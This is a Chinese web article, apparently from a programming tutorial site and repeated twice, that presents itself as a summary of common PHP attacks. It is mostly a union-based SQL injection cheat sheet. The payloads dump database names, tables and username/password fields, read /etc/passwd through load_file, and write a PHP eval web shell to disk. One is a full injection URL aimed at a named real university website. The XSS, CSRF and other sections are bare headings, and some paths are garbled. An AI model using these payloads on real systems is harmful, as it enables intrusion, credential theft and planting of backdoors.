PHP中常见的SQL注入、XSS攻击、CSRF攻击等攻击方式具体实例有哪些?
- 内容介绍
- 文章标签
- 相关推荐
本文共计1105个文字,预计阅读时间需要5分钟。
本文总结了PHP常见的几种攻击方式,供大家参考学习:
1. SQL注入(SQL Injection) - 利用SQL语句的构造漏洞,通过输入恶意SQL代码来篡改数据库操作。
2. 暴长字段(Long Field) - 通过输入过长的字段值,导致数据库查询错误或执行恶意SQL。
3. Order by 漏洞 - 利用Order by后的num/星号(*)进行排序,配合其他条件实现攻击。
4. 匹配字段 - 使用and 1=1或and 1=2等条件,配合union select等语句获取数据库信息。
5. 暴露字段 - 直接在查询结果中返回敏感信息,如用户密码、数据库内容等。
本文实例总结了PHP常见的几种攻击方式。分享给大家供大家参考,具体如下:
1.SQL Injection(sql注入)
①.暴字段长度 Order by num/*
②.匹配字段 and 1=1 union select 1,2,3,4,5…….n/*
③.暴露字段位置 and 1=2 union select 1,2,3,4,5…..n/*
④.利用内置函数暴数据库信息
version() database() user()
不用猜解可用字段暴数据库信息(有些网站不适用):
and 1=2 union all select version() /*
and 1=2 union all select database() /*
and 1=2 union all select user() /*
操作系统信息:
and 1=2 union all select @@global.version_compile_os from mysql.user /*
数据库权限:
and ord(mid(user(),1,1))=114 /* 返回正常说明为root
暴库 (mysql>5.0)
Mysql 5 以上有内置库 information_schema,存储着mysql的所有数据库和表结构信息 and 1=2 union select 1,2,3,SCHEMA_NAME,5,6,7,8,9,10 from information_schema.SCHEMATA limit 0,1
猜表
and 1=2 union select 1,2,3,TABLE_NAME,5,6,7,8,9,10 from information_schema.TABLES where TABLE_SCHEMA=数据库(十六进制) limit 0(开始的记录,0为第一个开始记录),1(显示1条记录)—
猜字段
and 1=2 Union select 1,2,3,COLUMN_NAME,5,6,7,8,9,10 from information_schema.COLUMNS where TABLE_NAME=表名(十六进制)limit 0,1
暴密码
and 1=2 Union select 1,2,3,用户名段,5,6,7,密码段,8,9 from 表名 limit 0,1
高级用法(一个可用字段显示两个数据内容):Union select 1,2,3concat(用户名段,0x3c,密码段),5,6,7,8,9 from 表名 limit 0,1
直接写马(Root权限)
条件:
①、知道站点物理路径
②、有足够大的权限(可以用select …. from mysql.user测试)
③、magic_quotes_gpc()=OFF
select '<?php eval($_POST[cmd])?>' into outfile '物理路径' and 1=2 union all select 一句话HEX值 into outfile '路径'
load_file() 常用路径:
1、replace(load_file(0×2F6574632F706173737764),0×3c,0×20)
2、replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))
上面两个是查看一个PHP文件里完全显示代码.有些时候不替换一些字符,如 “<” 替换成”空格” 返回的是网页.而无法查看到代码.
3、load_file(char(47)) 可以列出FreeBSD,Sunos系统根目录
4、/etc tpd/conf tpd.conf或/usr/local/apche/conf tpd.conf 查看linux APACHE虚拟主机配置文件
5、c:\Program Files\Apache Group\Apache\conf \www.mse.tsinghua.edu.cn/mse/research/instrument.php?ID=13%20and%201=2%20union%20select%201,load_file(0x433A5C626F6F742E696E69),3,4,user()%20这是由于前后编码不一致造成的,
解决方法:在参数前加上
unhex(hex(参数))就可以了。上面的URL就可以改为:www.mse.tsinghua.edu.cn/mse/research/instrument.php?ID=13%20and%201=2%20union%20select%201,unhex(hex(load_file(0x433A5C626F6F742E696E69))),3,4,unhex(hex(user()))%20
既可以继续注射了。。。
2.XSS (Cross Site Scripting)(跨站脚本攻击)
//www.jb51.net/article/160334.htm
3.Source Code Revelation(源代码暴露)
可以用php.ini或者htaccess控制
<Files ~ "\.inc$"> Order allow,deny Deny from all </Files>
4.Remote File Inclusion(远程文件包含漏洞)
<?php $file = $_GET['file']; // “ ../../etc/passwd\0” if(file_exists('/home/wwwrun' . $file . '.php')){xxx} ?>
5.Session Hijacking(session劫持)
6.Cross Site Request Forgery(跨站请求伪造)
7.Directory Traversal(目录跨越)
更多关于PHP相关内容感兴趣的读者可查看本站专题:《php程序设计安全教程》、《php安全过滤技巧总结》、《PHP运算与运算符用法总结》、《PHP基本语法入门教程》、《php面向对象程序设计入门教程》、《php字符串(string)用法总结》、《php+mysql数据库操作入门教程》及《php常见数据库操作技巧汇总》
希望本文所述对大家PHP程序设计有所帮助。
本文共计1105个文字,预计阅读时间需要5分钟。
本文总结了PHP常见的几种攻击方式,供大家参考学习:
1. SQL注入(SQL Injection) - 利用SQL语句的构造漏洞,通过输入恶意SQL代码来篡改数据库操作。
2. 暴长字段(Long Field) - 通过输入过长的字段值,导致数据库查询错误或执行恶意SQL。
3. Order by 漏洞 - 利用Order by后的num/星号(*)进行排序,配合其他条件实现攻击。
4. 匹配字段 - 使用and 1=1或and 1=2等条件,配合union select等语句获取数据库信息。
5. 暴露字段 - 直接在查询结果中返回敏感信息,如用户密码、数据库内容等。
本文实例总结了PHP常见的几种攻击方式。分享给大家供大家参考,具体如下:
1.SQL Injection(sql注入)
①.暴字段长度 Order by num/*
②.匹配字段 and 1=1 union select 1,2,3,4,5…….n/*
③.暴露字段位置 and 1=2 union select 1,2,3,4,5…..n/*
④.利用内置函数暴数据库信息
version() database() user()
不用猜解可用字段暴数据库信息(有些网站不适用):
and 1=2 union all select version() /*
and 1=2 union all select database() /*
and 1=2 union all select user() /*
操作系统信息:
and 1=2 union all select @@global.version_compile_os from mysql.user /*
数据库权限:
and ord(mid(user(),1,1))=114 /* 返回正常说明为root
暴库 (mysql>5.0)
Mysql 5 以上有内置库 information_schema,存储着mysql的所有数据库和表结构信息 and 1=2 union select 1,2,3,SCHEMA_NAME,5,6,7,8,9,10 from information_schema.SCHEMATA limit 0,1
猜表
and 1=2 union select 1,2,3,TABLE_NAME,5,6,7,8,9,10 from information_schema.TABLES where TABLE_SCHEMA=数据库(十六进制) limit 0(开始的记录,0为第一个开始记录),1(显示1条记录)—
猜字段
and 1=2 Union select 1,2,3,COLUMN_NAME,5,6,7,8,9,10 from information_schema.COLUMNS where TABLE_NAME=表名(十六进制)limit 0,1
暴密码
and 1=2 Union select 1,2,3,用户名段,5,6,7,密码段,8,9 from 表名 limit 0,1
高级用法(一个可用字段显示两个数据内容):Union select 1,2,3concat(用户名段,0x3c,密码段),5,6,7,8,9 from 表名 limit 0,1
直接写马(Root权限)
条件:
①、知道站点物理路径
②、有足够大的权限(可以用select …. from mysql.user测试)
③、magic_quotes_gpc()=OFF
select '<?php eval($_POST[cmd])?>' into outfile '物理路径' and 1=2 union all select 一句话HEX值 into outfile '路径'
load_file() 常用路径:
1、replace(load_file(0×2F6574632F706173737764),0×3c,0×20)
2、replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))
上面两个是查看一个PHP文件里完全显示代码.有些时候不替换一些字符,如 “<” 替换成”空格” 返回的是网页.而无法查看到代码.
3、load_file(char(47)) 可以列出FreeBSD,Sunos系统根目录
4、/etc tpd/conf tpd.conf或/usr/local/apche/conf tpd.conf 查看linux APACHE虚拟主机配置文件
5、c:\Program Files\Apache Group\Apache\conf \www.mse.tsinghua.edu.cn/mse/research/instrument.php?ID=13%20and%201=2%20union%20select%201,load_file(0x433A5C626F6F742E696E69),3,4,user()%20这是由于前后编码不一致造成的,
解决方法:在参数前加上
unhex(hex(参数))就可以了。上面的URL就可以改为:www.mse.tsinghua.edu.cn/mse/research/instrument.php?ID=13%20and%201=2%20union%20select%201,unhex(hex(load_file(0x433A5C626F6F742E696E69))),3,4,unhex(hex(user()))%20
既可以继续注射了。。。
2.XSS (Cross Site Scripting)(跨站脚本攻击)
//www.jb51.net/article/160334.htm
3.Source Code Revelation(源代码暴露)
可以用php.ini或者htaccess控制
<Files ~ "\.inc$"> Order allow,deny Deny from all </Files>
4.Remote File Inclusion(远程文件包含漏洞)
<?php $file = $_GET['file']; // “ ../../etc/passwd\0” if(file_exists('/home/wwwrun' . $file . '.php')){xxx} ?>
5.Session Hijacking(session劫持)
6.Cross Site Request Forgery(跨站请求伪造)
7.Directory Traversal(目录跨越)
更多关于PHP相关内容感兴趣的读者可查看本站专题:《php程序设计安全教程》、《php安全过滤技巧总结》、《PHP运算与运算符用法总结》、《PHP基本语法入门教程》、《php面向对象程序设计入门教程》、《php字符串(string)用法总结》、《php+mysql数据库操作入门教程》及《php常见数据库操作技巧汇总》
希望本文所述对大家PHP程序设计有所帮助。

